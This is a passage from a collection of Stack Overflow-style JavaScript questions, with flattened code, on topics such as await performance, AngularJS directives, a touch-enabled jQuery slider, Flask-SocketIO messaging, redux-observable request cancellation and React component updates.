included : false } , { pattern : 'bower_components/pegjs/peg-0.9.0.js ' , included : true } , Error : Script error for `` /blabla/bower_components/pegjs/peg-0.9.0 '' , needed by : /blabla/js/parser.jshttp : //requirejs.org/docs/errors.html # scripterrorat /blabla/node_modules/requirejs/require.js:140 $ file /home/aa024149/share/logofrjs/bower_components/pegjs/peg-0.9.0.js /blabla/bower_components/pegjs/peg-0.9.0.js : ASCII text , with very long lines",Configure Karma to load pegjs with requirejs "JS : This might be very basic , or not possible , but it 's alluding me and worth asking . Is there a way to check if the html 5 progress element is supported in a browser ? var progress = document.createElement ( 'progress ' ) ;",HTML 5 + Progress element check ? "JS : While testing the performance of await , I uncovered a confounding mystery . I ran each of the following code snippets several times each in the console to filter out flukes , and took the average times of the relevant data.Resulting in : default : 5.322021484375msNext , I tried adding making it asynchronousNice ! Chrome knows its stuff . Very low overhead : default : 8.712890625msNext , I tried adding await.This results in 100x speed reduction : default : 724.706787109375msSo , there must be some logical reason , right ? I tried comparing the types prior.Okay , so that is not it : default : 6.7939453125msSo then , it must be the promise-part : checking to see if the item passed to await is a promise . That must be the culprit , am I right or am I right ? This results in : default : 7.2041015625msOkay , okay , let us give Chrome the benefit of the doubt . Let us assume , for a second , that they programmed await far less than perfectly.But even this fails to explain the poor performance of await : default:7.85498046875msOkay , honestly , I give up . I would think that await would be at least 100x faster than it is now . I can not think of a single good reason why it would not be 100x faster in a perfect world . However , we do not live in a perfect world , so there inlies the question : how ? How ? How is it this slow ? Is there any hope of it being any faster in the future ( like maybe , say , around about 100x faster ) ? I am looking for facts and an objective analysis of this issue that would explain the puzzling mystery I am seeing in the above performance tests . ( function ( console ) { `` use strict '' ; console.time ( ) ; var O = [ 1 ] ; for ( var i=0 ; i ! == 107000 ; ++i ) { const O_0 = O [ 0 ] ; O [ 0 ] = O_0 ; } console.timeEnd ( ) ; } ) ( console ) ; ( async function ( console ) { `` use strict '' ; console.time ( ) ; var O = [ 1 ] ; for ( var i=0 ; i ! == 107000 ; ++i ) { const O_0 = O [ 0 ] ; O [ 0 ] = O_0 ; } console.timeEnd ( ) ; } ) ( console ) ; ( async function ( console ) { `` use strict '' ; console.time ( ) ; var O = [ 1 ] ; for ( var i=0 ; i ! == 107000 ; ++i ) { const O_0 = O [ 0 ] ; O [ 0 ] = await O_0 ; } console.timeEnd ( ) ; } ) ( console ) ; ( async function ( console ) { `` use strict '' ; console.time ( ) ; var O = [ 1 ] ; for ( var i=0 ; i ! == 107000 ; ++i ) { const O_0 = O [ 0 ] ; O [ 0 ] = typeof O_0 === `` object '' ? await O_0 : O_0 ; } console.timeEnd ( ) ; } ) ( console ) ; ( async function ( console , Promise ) { `` use strict '' ; const isPromise = Promise.prototype.isPrototypeOf.bind ( Promise ) ; console.time ( ) ; var O = [ 1 ] ; for ( var i=0 ; i ! == 107000 ; ++i ) { const O_0 = O [ 0 ] ; O [ 0 ] = isPromise ( O_0 ) ? await O_0 : O_0 ; } console.timeEnd ( ) ; } ) ( console , Promise ) ; ( async function ( console , Promise ) { `` use strict '' ; const isPromise = Promise.prototype.isPrototypeOf.bind ( Promise.prototype ) ; console.time ( ) ; var O = [ 1 ] ; for ( var i=0 ; i ! == 107000 ; ++i ) { const isAnObject = typeof O [ 0 ] === `` object '' ? true : false ; const isThisAPromise = isPromise ( O [ 0 ] ) ; O [ 0 ] = isAnObject & & isThisAPromise ? await O [ 0 ] : O [ 0 ] ; } console.timeEnd ( ) ; } ) ( console , Promise ) ;",` await ` Slower Than It Should Be In Chrome "JS : I 'm using this plug in jQuery Lazy - Delayed Content , Image and Background Lazy LoaderI 'm trying to add image border-color and image border thickness to the image after lazy loading but it seems like it has no effect . If I press `` inspect '' at developer console , I can see this attributes are added to image style but its effect is not shown on screen.HTMLJQuery < img class= '' lazy '' data-src= `` { { individual_image.url } } '' src= '' { % static 'img/image_loading.jpg ' % } '' style= '' opacity:0.3 ; width:150px ; height:150px ; > $ ( 'img.lazy ' ) .Lazy ( { scrollDirection : 'vertical ' , visibleOnly : false , afterLoad : function ( element ) { element.css ( 'border-width ' , 'thick ' ) ; element.css ( 'border-color ' , 'chartreuse ' ) ; } } ) ;","Jquery Lazy Loading after image load , css is not applied" "JS : I have a video module that uses a splash screen and on click , reveals a full screen video for screen sizes 667 + . I would like to have this reverse it 's animation after ending the video so it returns to the splash screen . I 'm not really sure where to even start or whether this is possible . Any help is appreciated ! Remember to resize my JSFiddle so you 're able to see the animation I am talking about . $ ( function ( ) { var $ parent = $ ( '.video-hero ' ) , $ video = $ parent.find ( 'iframe ' ) , $ playButton = $ ( `` .play '' ) , $ itemsToFadeOut = $ ( `` .vid-cap , .ghost '' ) , f = $ video [ 0 ] , url = $ video.attr ( 'src ' ) .split ( ' ? ' ) [ 0 ] , activeVideoClass = `` video-started '' ; // setup fitVids $ parent.fitVids ( ) ; // handle play click $ playButton.click ( function ( e ) { e.preventDefault ( ) ; // grab height of video var videoHeight = $ video.height ( ) ; // add class to hero when video is triggered $ parent.addClass ( activeVideoClass ) ; // fade out the play button $ ( this ) .fadeOut ( `` fast '' ) ; // fade out poster image , overlay , and heading $ itemsToFadeOut.fadeOut ( ) ; // toggle accessibility features $ video.attr ( { `` aria-hidden '' : `` false '' , `` tabindex '' : `` 0 '' } ) ; // set focus to video for accessibility control $ video.focus ( ) ; // set height of hero based on height of video $ parent.css ( `` max-height '' , videoHeight ) .height ( videoHeight ) ; // send play command to Vimeo api runCommand ( 'play ' ) ; } ) ; // send play to vimeo api var runCommand = function ( cmd ) { var data = { method : cmd } ; f.contentWindow.postMessage ( JSON.stringify ( data ) , url ) ; } // handle resize $ ( window ) .resize ( function ( ) { var videoHeight = $ video.height ( ) ; if ( $ ( `` .video-started '' ) .size ( ) === 1 ) { $ parent.height ( videoHeight ) ; } } ) ; } ) ;",Reverse an animation when vimeo video is done playing "JS : I did n't find any good documentation for getting started with the Ember.js . Please help me , Here is a simple example i tried from http : //emberjs.com/documentation/ But nothing displayed on screen . Javascript : app.jsHTMLI included all the JS files from the getting started Kit . Error : MyApp is not defined MyApp.president = Ember.Object.create ( { firstName : `` Barack '' , lastName : `` Obama '' , fullName : function ( ) { return this.get ( 'firstName ' ) + ' ' + this.get ( 'lastName ' ) ; // Tell Ember that this computed property depends on firstName // and lastName } .property ( 'firstName ' , 'lastName ' ) } ) ; < p > < script type= '' text/x-handlebars '' > The President of the United States is { { MyApp.president.fullName } } . < /script > < /p >",Getting started with Ember.js "JS : I have a utility that draws a simple arc , either using SVG or , as a fallback , Canvas . ( An early version can be found in my Raphael Arcs Project on my website . To accomodate a mobile solution , I recently added code to monitor the size of the container and , if it changes , to re-draw the image to fit the newly sized container . This addition uses only the size of the containing DIV ; the code adds either a SVG or Canvas object to the DIV.Repeatedly reloading the page , however , sometimes the DIV layout is n't ready even when $ ( document ) .ready says it is . This seems to be most prevalent under Chrome ; I 've seen it only once with Opera and never with Firefox 3.6 . The height and width of the containing DIV come back as zero.If you load the link above in Chrome and hit reload , every tenth hit or so the Canvas demo will show a similar flaw : it will be sized width : 100 % of viewport , height : 300px , and the demo will not draw correctly.I 've looked through the jQuery documentation and it seems to insist that $ ( document ) .ready ( ) ought to be enough . I 'd rather not have 12 % of my users experience a browser-related failure . Other than writing my own layout probe ( a spinning Timeout asking , over and over , `` is the container sized yet ? `` ) , is there a common technique or library to assure that not only is the DOM loaded but the layout manager has settled ? [ EDIT ] I 've ended up doing something like this ( code is Coffeescript ) : I really should n't have to do that . $ ( document ) .ready - > $ ( '.wrapper ' ) .each - > demo = = > c = new CanvasArc $ ( '.canvas_demo ' , this ) c.sweep ( 1.0 ) r = new RaphaelArc $ ( '.raphael_demo ' , this ) r.sweep ( 1.0 ) scan = = > if $ ( '.canvas_demo ' , this ) .height ( ) demo ( ) else setTimeout ( scan , 100 ) scan ( )",Is there anything more reliable than $ ( document ) .ready ( ) ? "JS : I have an open source project that I 'm working on upgrading to work with angular 1.2rc3 . Essentially it handles promises on form buttons . In this plnkr http : //plnkr.co/edit/vQd97YEpYO20YHSuHnN0 ? p=preview you should be able to click `` Save '' on the right side and see a `` clicked '' appear in the console , because it should execute this code in the directive : With 1.2 , this method no longer gets executed despite the following code being executed : I have n't been able to figure out why this function wo n't get executed ... . any ideas ? scope [ functionName ] = function ( ) { console.log ( 'clicked ' ) ; //if it 's already busy , do n't accept a new click if ( scope.busy === true ) { return ; } scope.busy = true ; var ret = scope. $ eval ( onClick ) ; if ( angular.isDefined ( ret ) & & ret.hasOwnProperty ( 'then ' ) ) { ret.then ( function ( ) { scope.busy = false ; } ) ; } } ; if ( angular.isDefined ( attrs.ngClick ) ) { console.log ( 'test ' ) ; attrs. $ set ( 'ngClick ' , functionName + ' ( ) ' ) ; }","attrs. $ set ( 'ngClick ' , functionName + ' ( ) ' ) ; no longer working in angular 1.2rc3" "JS : These are the ways of creating javascript objects : I really prefer the latter one most since it 's Json syntax , but I 've seen more of the first one than the latter one.Are there any differences between them functionally ? Could each of them be extended , inherited and cloned/copied ? In the latter one I could easily create nested elements , is this possible with the first one ? In the latter one I ca n't pass optional parameters ? Are they serving different purposes ? If yes , could you give scenarios where I would use either of them . function apple ( optional_params ) { this.type = `` macintosh '' ; this.color = `` red '' ; this.getInfo = function ( ) { return this.color + ' ' + this.type + ' apple ' ; } ; } var apple = { type : `` macintosh '' , color : `` red '' , getInfo : function ( ) { return this.color + ' ' + this.type + ' apple ' ; } }","Two ways of creating javascript objects , which one should I use ?" "JS : I 've built two kinds of functionality in controlling the slider that I 've built . One is buttons with directional controls and other is touch/swipe events . How can sync both of them so that when i press prev/next the swipe events is also updated and vice versa $ ( document ) .ready ( function ( ) { $ ( '.prev ' ) .on ( 'click ' , function ( e ) { event.stopPropagation ( ) ; // store variable relevent to clicked slider var sliderWrapper = $ ( this ) .closest ( '.slider-wrapper ' ) , slideItems = sliderWrapper.find ( '.slide-items ' ) , slider = sliderWrapper.find ( '.slider ' ) , currentSlide = sliderWrapper.attr ( 'data-slide ' ) ; // Check if data-slide attribute is greater than 0 if ( currentSlide > 0 ) { // Decremement current slide currentSlide -- ; // Assign CSS position to clicked slider slider.css ( { 'right ' : currentSlide*slideItems.outerWidth ( ) } ) ; // Update data-slide attribute sliderWrapper.attr ( 'data-slide ' , currentSlide ) ; } } ) ; $ ( '.next ' ) .on ( 'click ' , function ( e ) { event.stopPropagation ( ) ; // store variable relevent to clicked slider var sliderWrapper = $ ( this ) .closest ( '.slider-wrapper ' ) , slideItems = sliderWrapper.find ( '.slide-items ' ) , slider = sliderWrapper.find ( '.slider ' ) , totalSlides = slideItems.length , currentSlide = sliderWrapper.attr ( 'data-slide ' ) ; // Check if dataslide is less than the total slides if ( currentSlide < totalSlides - 1 ) { // Increment current slide currentSlide++ ; // Assign CSS position to clicked slider slider.css ( { 'right ' : currentSlide*slideItems.outerWidth ( ) } ) ; // Update data-slide attribute sliderWrapper.attr ( 'data-slide ' , currentSlide ) ; } } ) $ ( '.slider-wrapper .slider ' ) .each ( function ( ) { // create a simple instance // by default , it only adds horizontal recognizers var direction ; var touchSlider = this ; var activeSlide = 0 ; var mc = new Hammer.Manager ( this ) , itemLength = $ ( this ) .find ( '.slide-items ' ) .length , count = 0 , slide = $ ( this ) ; var sliderWrapper = slide , slideItems = sliderWrapper.find ( '.slide-items ' ) , slider = sliderWrapper.find ( '.slider ' ) , totalSlides = slideItems.length , currentSlide = sliderWrapper.attr ( 'data-slide ' ) ; // mc.on ( `` panleft panright '' , function ( ev ) { // direction = ev.type ; // } ) ; mc.add ( new Hammer.Pan ( { threshold : 0 , pointers : 0 } ) ) mc.on ( 'pan ' , function ( e ) { var percentage = 100 / totalSlides * e.deltaX / window.innerWidth ; var transformPercentage = percentage - 100 / totalSlides * activeSlide ; touchSlider.style.transform = 'translateX ( ' + transformPercentage + ' % ) ' ; if ( e.isFinal ) { // NEW : this only runs on event end if ( percentage < 0 ) goToSlide ( activeSlide + 1 ) ; else if ( percentage > 0 ) goToSlide ( activeSlide - 1 ) ; else goToSlide ( activeSlide ) ; } } ) ; var goToSlide = function ( number ) { if ( number < 0 ) activeSlide = 0 ; else if ( number > totalSlides - 1 ) activeSlide = totalSlides - 1 else activeSlide = number ; touchSlider.classList.add ( 'slide-animation ' ) ; var percentage = - ( 100 / totalSlides ) * activeSlide ; touchSlider.style.transform = 'translateX ( ' + percentage + ' % ) ' ; timer = setTimeout ( function ( ) { touchSlider.classList.remove ( 'slide-animation ' ) ; } , 400 ) ; } ; // mc.on ( `` panend '' , function ( ev ) { // if ( direction === `` panleft '' ) { // console.log ( 'panleft ' ) ; // // Check if dataslide is less than the total slides // if ( currentSlide < totalSlides - 1 ) { // // Increment current slide // currentSlide++ ; // // Assign CSS position to clicked slider // slider.css ( { 'right ' : currentSlide*slideItems.outerWidth ( ) } ) ; // // Update data-slide attribute // sliderWrapper.attr ( 'data-slide ' , currentSlide ) ; // } // } // if ( direction === `` panright '' ) { // console.log ( 'right ' ) ; // // Check if data-slide attribute is greater than 0 // if ( currentSlide > 0 ) { // // Decremement current slide // currentSlide -- ; // // Assign CSS position to clicked slider // slider.css ( { 'right ' : currentSlide*slideItems.outerWidth ( ) } ) ; // // Update data-slide attribute // sliderWrapper.attr ( 'data-slide ' , currentSlide ) ; // } // } // } ) ; } ) ; } ) ; $ ( window ) .on ( 'load ' , function ( ) { $ ( '.slider-wrapper ' ) .each ( function ( ) { var slideItems = $ ( this ) .find ( '.slide-items ' ) , items = slideItems.length , sliderBox = $ ( this ) .find ( '.slider ' ) , sliderWrapperWidth = $ ( this ) .width ( ) ; slideItems.outerWidth ( sliderWrapperWidth ) ; sliderBox.width ( slideItems.outerWidth ( ) * items ) ; } ) ; } ) ; /* http : //meyerweb.com/eric/tools/css/reset/ v2.0 | 20110126 License : none ( public domain ) */html , body , div , span , applet , object , iframe , h1 , h2 , h3 , h4 , h5 , h6 , p , blockquote , pre , a , abbr , acronym , address , big , cite , code , del , dfn , em , img , ins , kbd , q , s , samp , small , strike , strong , sub , sup , tt , var , b , u , i , center , dl , dt , dd , ol , ul , li , fieldset , form , label , legend , table , caption , tbody , tfoot , thead , tr , th , td , article , aside , canvas , details , embed , figure , figcaption , footer , header , hgroup , menu , nav , output , ruby , section , summary , time , mark , audio , video { margin : 0 ; padding : 0 ; border : 0 ; font-size : 100 % ; font : inherit ; vertical-align : baseline ; } /* HTML5 display-role reset for older browsers */article , aside , details , figcaption , figure , footer , header , hgroup , menu , nav , section { display : block ; } body { line-height : 1 ; } ol , ul { list-style : none ; } blockquote , q { quotes : none ; } blockquote : before , blockquote : after , q : before , q : after { content : `` ; content : none ; } table { border-collapse : collapse ; border-spacing : 0 ; } * { box-sizing : border-box ; } .container { max-width : 1280px ; margin : 0 auto ; } .container .slider-wrapper { margin-bottom : 40px ; background-color : grey ; overflow : hidden ; display : block ; } .container .slider-wrapper .slider { position : relative ; right : 0 ; display : flex ; flex-wrap : wrap ; overflow : hidden ; /*-webkit-transition : transform 0.3s linear ; */ } .container .slider-wrapper .slider.slide-animation { -webkit-transition : transform 0.3s linear ; } .container .slider-wrapper .slider > div { padding : 10px ; background-color : # e5d0d0 ; height : 200px ; } .container .slider-wrapper .slider > div p { color : purple ; } .container .slider-wrapper .buttons { display : flex ; justify-content : space-between ; background : beige ; padding : 10px 0 ; } .container .slider-wrapper .buttons div { background-color : cyan ; } /* # sourceMappingURL=style.css.map */ < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/hammer.js/2.0.7/hammer.min.js '' > < /script > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div class= '' container '' > < div class= '' slider-wrapper '' data-slide= '' 0 '' > < div class= '' slider '' > < div class= '' slide-items '' > < p > 1 < /p > < /div > < div class= '' slide-items '' > < p > 2 < /p > < /div > < div class= '' slide-items '' > < p > 3 < /p > < /div > < /div > < div class= '' buttons '' > < div class= '' prev '' > prev < /div > < div class= '' next '' > next < /div > < /div > < /div > < div class= '' slider-wrapper '' data-slide= '' 0 '' > < div class= '' slider '' > < div class= '' slide-items '' > < p > 1 < /p > < /div > < /div > < div class= '' buttons '' > < div class= '' prev '' > prev < /div > < div class= '' next '' > next < /div > < /div > < /div > < div class= '' slider-wrapper '' data-slide= '' 0 '' > < div class= '' slider '' > < div class= '' slide-items '' > < p > 2 < /p > < /div > < div class= '' slide-items '' > < p > 3 < /p > < /div > < /div > < div class= '' buttons '' > < div class= '' prev '' > prev < /div > < div class= '' next '' > next < /div > < /div > < /div > < div class= '' slider-wrapper '' data-slide= '' 0 '' > < div class= '' slider '' > < div class= '' slide-items '' > < p > 1 < /p > < /div > < /div > < div class= '' buttons '' > < div class= '' prev '' > prev < /div > < div class= '' next '' > next < /div > < /div > < /div > < div class= '' slider-wrapper '' data-slide= '' 0 '' > < div class= '' slider '' > < div class= '' slide-items '' > < p > 1 < /p > < /div > < div class= '' slide-items '' > < p > 2 < /p > < /div > < /div > < div class= '' buttons '' > < div class= '' prev '' > prev < /div > < div class= '' next '' > next < /div > < /div > < /div > < /div >",Sync directional controls with swipe events "JS : I was playing with some code and ran into a situation where I could n't identify why 'let ' is behaving the way it does . For the below block of code : I get the error ' x is not defined ' on executing f ( ) . I do understand 'let ' variables are not hoisted but since ' x ' has a global copy , why is n't the line inside function ' f ' defaulting to global copy instead of throwing an error ? Does 'let ' set the variable to undeclared ( instead of 'undefined ' with var because of hoisting ) at the beginning of the function ? Is there any way to get the global copy of ' x ' within the function ? var x = 20 ; // global scopefunction f ( ) { let x = x || 30 ; } f ( ) ; // VM3426:1 Uncaught ReferenceError : x is not defined ( … )",Issue with let keyword JS : Is there any difference betweenandgiven that Constructor is a constructor function ? var obj1 = new Constructor ; var obj2 = new Constructor ( ) ;,Constructor invocation without parentheses "JS : When I type simple objects to Chrome JavaScript Console , I get an output like this : And so on.But a syntax error occurs when I type objects : While I know for sure that this expression could be correctly used in initializing an object , because : Maybe it 's a silly question , but I really want to know the reason why is this happening ? > truetrue > 1/30.3333333333333333 > { a : 1 , b : 2 } SyntaxError : Unexpected token : arguments : Array [ 1 ] 0 : `` : '' length : 1__proto__ : Array [ 0 ] get message : function getter ( ) { [ native code ] } get stack : function getter ( ) { [ native code ] } set message : function setter ( ) { [ native code ] } set stack : function setter ( ) { [ native code ] } type : `` unexpected_token '' __proto__ : Error > obj = { a : 1 , b : 2 } Objecta : 1b : 2__proto__ : Object",Defining a JavaScript object in console "JS : I 'm working with SignalR , and by extension , JQuery.Some initialisation code runs inside a function block defined with the following syntax : What is the functional difference here compared with just executing scripts directly within a pair of script tags ? $ ( function ( ) { // ... Init code here e.g . var hub = $ .connection.myHub ; } ) ;",JQuery - What is the purpose of this syntax $ ( function ( ) { ... } ) ; "JS : I 'm trying to get server messages pushed out to the end user that 's logged into our flask website.I 've done some research and it seems that the best solution is to use socket-io.My attempts at this do n't seem to be working , I must also indicate that my knowledge of javascript is very basic.Any assistance / guidance will be highly appreciated.See my code below : python - app.pyHTML - templates/index.htmljavascript - static/js/application.js from flask_socketio import SocketIO , emitfrom flask import Flask , render_template , url_for , requestfrom time import sleepapp = Flask ( __name__ ) app.config [ 'SECRET_KEY ' ] = 'secret'app.config [ 'DEBUG ' ] = True # turn the flask app into a socketio appsocketio = SocketIO ( app , async_mode=None , logger=True , engineio_logger=True ) @ app.route ( '/ ' , methods= [ 'GET ' , 'POST ' ] ) def index ( ) : if request.method == 'POST ' : if request.form [ 'submit_button ' ] == 'Do Stuff ' : # server doing things ... . # the below method will make calls to emit socket messages # based on actions / outcome of actions . serverActions ( ) return render_template ( 'index.html ' ) @ socketio.on ( 'connect ' ) def connect ( ) : print ( 'Client connected ' ) @ socketio.on ( 'display_message ' ) def displayMessage ( message ) : socketio.emit ( 'newmessage ' , { 'message ' : message } ) socketio.sleep ( 2 ) def serverActions ( ) : # get connection to DB message = `` connecting to DB '' # show message to user on flask page displayMessage ( message ) # test successful connection to DB message = `` successfully connected to DB '' displayMessage ( message ) # query the DB message = `` querying the DB '' displayMessage ( message ) # update DB message = `` updating the DB '' displayMessage ( message ) # etc ... ... if __name__ == '__main__ ' : socketio.run ( app ) < ! DOCTYPE html > < html > < head > < script src= '' //code.jquery.com/jquery-3.3.1.min.js '' > < /script > < script type= '' text/javascript '' src= '' //cdnjs.cloudflare.com/ajax/libs/socket.io/1.3.6/socket.io.min.js '' > < /script > < script src= '' static/js/application.js '' > < /script > < /head > < body > < form method= '' POST '' > < div > < div > < h1 > Asynchronous Flask Communication < /h1 > < p > Messages generated by the Flask server should appear below , asynchronously. < /p > < /div > < /div > < div > < p > Asynchronous page updates will appear here : < /p > < div > < input type= '' submit '' value= '' Do Stuff '' name= '' submit_button '' > < /div > < div > < h3 > Server Messages : < /h3 > < div id= '' message '' > < /div > < /div > < /div > < /form > < /body > < /html > $ ( document ) .ready ( function ( ) { //connect to the socket server . var socket = io.connect ( 'http : // ' + document.domain + ' : ' + location.port ) ; //receive message details from server socket.on ( 'display_message ' , function ( msg ) { console.log ( `` Received message '' + msg.message ) ; message_string = ' < p > ' + msg.message + ' < /p > ' ; $ ( ' # message ' ) .html ( message_string ) ; } ) ; } ) ;",Asynchronous server messages with python flask "JS : In JavaScript , is there any circumstance where there is a semantic difference between these two options ? ... and ... I would 've expected the latter to more reliably coerce the result to a string , but I ca n't find any discussion of this ( after much Googling ) nor any example where it seems to matter . foo.bar + `` `` + foo.bar",String literal first or second in concatenation ? "JS : I created the following array : I tried where results.data looks something like this : However this does not seem to work as it tries to add an array as the second element . What I need is to have the contents of the array result.data appended to the array $ scope.testAccountsPlease note that all the examples I have seen so far seem to not work if the array is an array of objects . This is what I have . Thanks $ scope.testAccounts [ 0 ] = { id : 99 , name : `` Select Account '' } ; $ scope.testAccounts.push ( result.data ) ; [ { id : 1 , name : `` x '' } , { id : 2 , name : `` y '' } ]",How can I append an array of objects to an already existing array ? "JS : I have a comment box like this : I have bound all actions to CommentBox component , there is a decComment action to handle Delete event in each comment.Everytime when i click the delete button in Comment I need to pass the commentId of Comment to CommentList to CommentBox and then CommentBox updates comment data , removes that comment from comments data and re-renders the comment list.Here is some code : This process too verbose ! Is there any easy way to do this ? var Comment = React.createClass ( { handleDel : function ( ) { var cid = this.props.cid ; this.props.onDel ( cid ) ; return false ; } , render : function ( ) { return ( < div key= { this.props.cid } > < a onClick= { this.handleDel } > Del < /a > < /div > ) ; } } ) ; var CommentList = React.createClass ( { handleDel : function ( cid ) { this.props.onDel ( cid ) ; } , render : function ( ) { var commentNodes = this.props.data.map ( function ( c ) { return < Comment cid= { c.id } onDel= { this.handleDel } / > } .bind ( this ) ) ; return ( < div className= '' comments '' > { commentNodes } < /div > ) } } ) ; var CommentBox = React.createClass ( { ... ... delComment : function ( cid ) { function del ( data ) { $ .ajax ( { url : url , type : 'delete ' , dataType : 'json ' , data : data , success : function ( e ) { if ( e.retcode === 0 ) { that.setState ( { data : e.data } ) ; } else { alert ( e.error ) ; } } } ) ; } if ( window.confirm ( 'You Sure ? ' ) ) { del ( ) ; } } , ... ... } )",How to easily pass data from child to root in reactjs ? "JS : I could n't understand the Y-combinator , so I tried to implement a function that enabled recursion without native implementation . After some thinking , I ended up with this : Which is shorter than the actual one : And , for my surprise , worked . Some examples : Both snippets output 10 ( summation from 0 to 4 ) as expected.What is this , why it is shorter and why we prefer the longer version ? Y = λx. ( λv . ( x x ) v ) Y = λf . ( λx.f ( x x ) ) ( λx.f ( x x ) ) // JavaScriptY = function ( x ) { return function ( v ) { return x ( x , v ) ; } ; } ; sum = Y ( function ( f , n ) { return n == 0 ? 0 : n + f ( f , n - 1 ) ; } ) ; sum ( 4 ) ; ; Scheme ( define Y ( lambda ( x ) ( lambda ( v ) ( x x v ) ) ) ) ( define sum ( Y ( lambda ( f n ) ( if ( equal ? n 0 ) 0 ( + n ( f f ( - n 1 ) ) ) ) ) ) ) ( sum 4 )","I could n't understand the Y-Combinator , so I tried to implement it and ended up with something shorter , which worked . How is that possible ?" "JS : I made a range input element with these min and max values : and then tried to change its value to no avail : Moving the slider to the very right side , however , works normally : Why does n't the first snippet of code for moving the range input work ? JsFiddle Demo < input type='range ' min= ' 0 ' max='9999999 ' id='mySlider ' > // This does not work as intended , at least in Chrome.// It wrongly moves the slider to the beginning.slider.value = 5000000 ; slider.value = 9999999 ;",Why does n't the range input heed changes in value ? "JS : I have an interface where the user may trigger calls to the same endpoint but with different params ( in this case UUIDs ) . Up until now I 've been enjoying the behavior of switchMap canceling my in-flight http requests whenever I dispatch a new redux action with the same type , and in this case I still want that behavior , but only if the new action 's requested UUID ( part of the action object ) is the same as one that 's already in progress . I 'm not exactly sure of the right approach to this.For example , after dispatching several actions at once , I 'd hope that all of the ones with unique ids complete , but those that repeat an existing and not yet completed id cancel the previous request and take its place.ex : I 've tried using .distinctUntilChanged ( ( a , b ) = > a.uuid === b.uuid ) to filter the stream 's input into .switchMap just to see what would happen , but that merely limits what actions reach the switchMap , and the behavior of canceling all but the most recent GET_SOME_DATA action related API call still occurs.For now , I 'm using mergeMap , but I 'm worried that this could cause issues like I 've run into with live searching where an older request might resolve after the most recent one , causing my redux store to be updated with old data since mergeMap does n't cancel the Observable streams like switchMap does ... is there a way for me to look at current RxJS Ajax requests and cancel those with the new action 's url , or a better solution that I 'm clearly missing ? Cheers ! Edit : I 'm wondering if changing switchMap to mergeMap , then chaining takeUntil and canceling on other GET_SOME_DATA actions would be a proper approach , or if that would just make all requests cancel immediately ? For exampleEdit2 : Apparently the takeUntil addition appears to be working ! I 'm not sure if it 's 100 % on the up and up in terms of being appropriate but I 'd love some feedback . I 'd also like to support a manual cancellation option as well , would the method discussed here be the proper implementation ? Edit3 : I think this is my final , working version . Removed the destructuring of the Redux action in the mergeMap just in case somebody newer to redux-observables comes across this : And the observed network behavior from rapidly clicking everything in sight . Only the non-duplicated id requests went through ! store.dispatch ( { type : `` GET_SOME_DATA '' , uuid : `` 1 '' } ) store.dispatch ( { type : `` GET_SOME_DATA '' , uuid : `` 2 '' } ) store.dispatch ( { type : `` GET_SOME_DATA '' , uuid : `` 2 '' } ) store.dispatch ( { type : `` GET_SOME_DATA '' , uuid : `` 3 '' } ) store.dispatch ( { type : `` GET_SOME_DATA '' , uuid : `` 2 '' } ) // Get results back for ' 1 ' , then ' 3 ' , then ' 2 ' assuming equal response times.// Only the duplicate uuid calls were cancelled , even though all have the same 'type ' const getDataEpic = ( action $ ) = > action $ .ofType ( GET_SOME_DATA ) .switchMap ( ( { uuid } ) = > // would be great if the switchMap would only cancel existing streams with same uuid ajax.getJSON ( ` /api/datastuff/ $ { uuid } ` ) .map ( ( data ) = > successAction ( uuid , data.values ) ) .catch ( ( err ) = > Observable.of ( errorAction ( uuid ) , setNotificationAction ( ( err.xhr.response & & err.xhr.response.message ) || 'That went wrong ' ) , ) ) const getDataEpic = ( action $ ) = > action $ .ofType ( GET_SOME_DATA ) .mergeMap ( ( { uuid } ) = > ajax.getJSON ( ` /api/datastuff/ $ { uuid } ` ) .takeUntil ( action $ .ofType ( GET_SOME_DATA ) .filter ( laterAction = > laterAction.uuid === uuid ) ) .map ( ( data ) = > successAction ( uuid , data.values ) ) .catch ( ( err ) = > Observable.of ( errorAction ( uuid ) , setNotificationAction ( ( err.xhr.response & & err.xhr.response.message ) || 'That went wrong ' ) , ) ) const getDataEpic = ( action $ ) = > action $ .ofType ( GET_SOME_DATA ) .mergeMap ( ( action ) = > ajax.getJSON ( ` /api/datastuff/ $ { action.uuid } ` ) .takeUntil ( Observable.merge ( action $ .ofType ( MANUALLY_CANCEL_GETTING_DATA ) .filter ( ( cancelAction ) = > cancelAction.uuid === action.uuid ) , action $ .ofType ( GET_SOME_DATA ) .filter ( ( laterAction ) = > laterAction.uuid === action.uuid ) , ) ) .map ( ( data ) = > successAction ( action.uuid , data.values ) ) .catch ( ( err ) = > Observable.of ( errorAction ( action.uuid ) , setNotificationAction ( ( err.xhr.response & & err.xhr.response.message ) || 'That went wrong ' ) , ) )",Using RxJS switchMap to only unsubscribe from streams with the same request URL/action payload ( redux-observable epics ) "JS : I was spending some time on a question when I came up with a funny solution but not really finalized.See the Fiddle and try to erase the < br/ > tag . The idea is too get the same effect ( red div displayed ) but without using this solution relatively horrible.So here is my question : How do I simulate < br/ > tags with CSS or eventually Js ? Just some more difficulty : You ca n't touch the wrapper.Here 's the HTML code : Here 's the CSS : < div class= '' wrapper '' > < p > Some text and descriptions < /p > < div class= '' widget box-wrap '' > < div class= '' box '' > < br/ > < br/ > < br/ > < br/ > < br/ > < br/ > < br/ > < br/ > < br/ > < br/ > < br/ > < br/ > < br/ > < /div > < /div > < p > Some more text and description and some more offcourse and a bit more , and just a tiny bit more < /p > < /div > .wrapper { width:300px ; display : block ; position : relative ; overflow : hidden ; background-color : gray ; } .widget { width:300px ; height:300px ; display : block ; position : relative ; background-color : green ; } .box { background-color : red ; visibility : visible ; } .box-wrap { overflow : hidden ; height : 0 ; padding-bottom : 60 % ; } .box-wrap div { max-width : 100 % ; }",How to simulate multiple < br/ > tag with CSS JS : Is there an elegant way to predict the dimension an element will have after the elements transition is complete ? Example : HTML : CSS : JS : Demo : codepen < div id= '' demo '' > ... < /div > # demo { max-height : 0 ; overflow : hidden ; transition : 2s max-height ; } # demo.expand { max-height : 1000px ; } var demo = document.getElementById ( 'demo ' ) ; demo.className = 'expand ' ; // Unfortunately the result will be 0px // because the current height is measured alert ( demo.offsetHeight ) ;,Ignore transitions when measuring an elements dimensions "JS : I 'm new to react and I do n't understand why the title inside the h1 tag gets updated , but the url inside the Image Component does n't ? Listing ComponentMy guess so far is that React wont update a child component if a prop changes , but how can I update that manually then ? Image Component import React , { useState , useEffect , useContext } from 'react ' ; import Image from './Image ' 